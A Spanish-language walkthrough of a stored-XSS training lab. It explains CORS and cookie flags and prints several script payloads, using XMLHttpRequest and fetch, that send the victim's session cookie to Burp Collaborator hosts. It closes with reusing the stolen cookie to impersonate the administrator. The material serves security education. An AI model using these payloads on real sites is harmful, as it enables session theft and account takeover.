XSS Lab 22
Skills
Descripción
Este laboratorio
contiene una vulnerabilidad de stored XSS
en la función de comentarios del blog
. Un usuario víctima
simulado ve todos los comentarios
después de que se publiquen. Para resolver
el laboratorio
, debemos explotar
la vulnerabilidad para exfiltrar
la cookie de sesión
de la víctima, luego usar esta cookie
para suplantar
a la víctima
Resolución
Al acceder
a la web
nos sale esto
Si pulsamos sobre View post
vemos que tenemos una sección
en la que podemos hacer comentarios
Al hacer un comentario
nos mete el input
en unas etiquetas <p></p>
Sin embargo, si intentamos inyectar
algo entre etiquetas <h1></h1>
vemos que nos inyecta
las etiquetas
con su contenido
y deja las <p></p>
vacías
Hay diferentes opciones para obtener
la cookie
, podemos utilizar fetch
con las opciones CORS
o no-cors
o usando el método GET
o POST
. Luego tenemos a XMLHTTPRequest
, con el cual podemos hacer tanto peticiones GET
como POST
, pero no podemos especificar la opción no-cors
, es decir, siempre se tendrá en cuenta el CORS
https://developer.mozilla.org/es/docs/Web/HTTP/CORS
El CORS
es un mecanismo basado en cabeceras HTTP
que permite a un servidor
indicar cualquier dominio
, esquema
o puerto
con un origen distinto
del suyo desde el que un navegador debería permitir la carga de recursos. CORS
también se basa en un mecanismo por el cual los navegadores
realizan una solicitud
de verificación previa
al servidor
que aloja el CORS
, con el fin de comprobar que el servidor
permitirá la solicitud real. En esa comprobación previa, el navegador envía cabeceras
que indican el método HTTP
y las cabeceras
que se utilizarán
en la solicitud real
Un ejemplo de CORS
sería el código JavaScript
del front-end
, desde http://domain-a.com
utiliza XMLHTTPRequest
para realizar una solicitud a http://domain-b.com/data.json
Por razones de seguridad
, los navegadores restringen las peticiones HTTP
de origen cruzado iniciadas desde scripts
. Por ejemplo, XMLHTTPRequest
y la API Fetch
siguen la Política Same-origin
. Esto significa que una aplicación web
que utilice esas API
solo puede solicitar recursos
del mismo origen
desde el que se cargó la aplicación, a menos que la respuesta de otros orígenes
incluya las cabeceras CORS
adecuadas
En esta primera petición estamos mandando una petición
con el método POST
y es una petición asíncrona
, es decir, las operaciones pueden ejecutarse
en paralelo
o en segundo plano
. El programa no espera
a que una tarea termine
para continuar con la siguiente, lo que permite que se realicen múltiples operaciones simultáneamente
1
2
3
4
5
6
7
<script>
var request = new XMLHttpRequest();
request.open('POST', 'http://lf4spwr5be5vcxtn56uquhp4yv4qsgg5.oastify.com', true);
request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
var data = 'cookie=' + encodeURIComponent(document.cookie);
request.send(data);
</script>
En este caso la petición
se realiza
por el método GET
y es síncrona
, lo cual quiere decir que el programa
se bloquea
hasta que esa tarea
se complete
, lo que significa
que no puede hacer nada más mientras espera
1
2
3
4
5
<script>
var request = new XMLHttpRequest();
request.open('GET', 'http://gk4nurw0g9aqhsyia1zlzcuz3q9lxcl1.oastify.com/cookie=' + encodeURIComponent(document.cookie), false);
request.send();
</script>
Con fetch
, a diferencia de XMLHTTPRequest
podemos especificar
también si usamos CORS
o no. El modo no-cors
tiene la ventaja
de poder enviar
una solicitud
a un servidor
que no esté configurado
para permitir solicitudes de otros orígenes
(por ejemplo, un servidor
en un dominio diferente
) y también tiene una desventaja
, restringe
el acceso
a la respuesta
, por lo cual no podremos leer ni manipular los datos que el servidor envíe de vuelta
1
2
3
4
5
6
7
<script>
fetch('http://gk4nurw0g9aqhsyia1zlzcuz3q9lxcl1.oastify.com', {
method: 'POST',
mode: 'no-cors',
body: encodeURIComponent(document.cookie)
});
</script>
En este caso estamos usando el método GET
y siguiendo las convenciones
de CORS
, ya que es el modo por defecto
. En este caso tenemos dos formas
de transmitir
la petición
usando el método GET
, si queremos especificar que no queremos usar CORS
lo hacemos de esta forma
1
2
3
4
5
6
<script>
fetch("http://0vw75b7krtlasc92lla5aw5jeaka8cw1.oastify.com?cookie=" + encodeURIComponent(document.cookie), {
method: 'GET',
mode: 'no-cors'
});
</script>
Si no necesitamos especificar un modo
podemos usar
esta otra forma que seguirá
las directivas CORS por defecto
1
2
3
<script>
fetch('http://vut2466fqok5r78xkg909r4ed5j77xvm.oastify.com?cookie=' + encodeURIComponent(document.cookie));
</script>
Es importante realizar
las peticiones
a un servidor
mediante HTTPS
y no HTTP
en este caso. Si usamos este payload
la petición
será bloqueada
y no nos llegará nada a nuestro servidor
de Burpsuite Collaborator
1
2
3
<script>
fetch('http://vut2466fqok5r78xkg909r4ed5j77xvm.oastify.com?cookie=' + encodeURIComponent(document.cookie));
</script>
Si nos abrimos
el inspector
de Chrome
y vemos que la flag Secure
está seteada en la cookie
, esta flag asegura que la cookie
solo se enviará a través de conexiones seguras
(HTTPS
). Es una medida de seguridad
para evitar
que las cookies
sean transmitidas
a través de conexiones no seguras
(HTTP
), donde podrían ser interceptadas
por un atacante
. A pesar de tener esta flag
, seguimos pudiendo obtener esta cookie
mediante XSS
debido a que la flag HttpOnly no está seteada
. Esta flag
se encarga de impedir que la cookie
sea accesible
a través de JavaScript
. Si una cookie
tiene ambas flags (HttpOnly
y Secure
), no podremos acceder a ella a través de JavaScript
aunque se transmita solo por HTTPS
y tendremos que buscar formas alternativas
Si nos abrimos
la consola
de desarrollador
vemos como la petición
ha sido bloqueada
por no ser una petición
a un servidor
que soporte HTTPS
. El error Mixed Content
, ocurre cuando una página web cargada a través de HTTPS
intenta hacer una solicitud
a un recurso a través de HTTP
. Esto es considerado inseguro
y, por lo tanto, el navegador bloquea la solicitud
para proteger
la seguridad
y la privacidad
de la web
Para resolver
el laboratorio
debemos irnos a Burpsuite Collaborator
, pulsar en copy to clipboard
, sustituir
este subdominio
en alguno de los cuatro tipos de payloads
explicados anteriormente y enviarlo a través de un comentario
Como hay un usuario revisando nuestro comentarios
, en el momento en el que entre al post donde se encuentra publicado nuestro comentario
nos mandará a Burpsuite Collaborator
sus cookies
Teniendo las cookies
del usuario administrador
, nos debemos ir al navegador
, pulsar Ctrl + Shift + i
para que nos abra el inspector
de Chrome
, sustituir
la cookie
y refrescar
la web
pulsando F5
Si pulsamos en My account
vemos que nos hemos convertido
en el usuario administrator